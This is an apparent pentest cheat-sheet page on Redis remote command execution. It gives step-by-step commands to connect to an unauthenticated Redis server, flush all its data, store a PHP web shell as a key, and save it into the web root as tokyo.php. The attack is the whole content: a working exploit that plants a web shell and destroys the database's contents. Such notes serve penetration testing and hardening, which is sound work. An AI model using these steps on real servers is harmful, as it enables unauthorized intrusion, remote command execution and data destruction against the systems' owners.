Remote Dictionary Server
Is an in-memory keyโvalue database, used as a distributed cache and message broker, with optional durability.
Standard Port 6379
Redis Remote Command Execution
Writeup
Connect to redis
redis
nc localhost 6379 telnet 192.168.1.11 6379
Check if authorization is required:
echo "Hey no AUTH required!"
Flush the memory:
flushall
Write the web-shell:
set access "<? system($_REQUEST['cmd']); ?>"
Set the file name:
config set dbfilename tokyo.php
Set the file path:
config set dir /var/www/html/
Finally save the file:
save
Last updated 3 months ago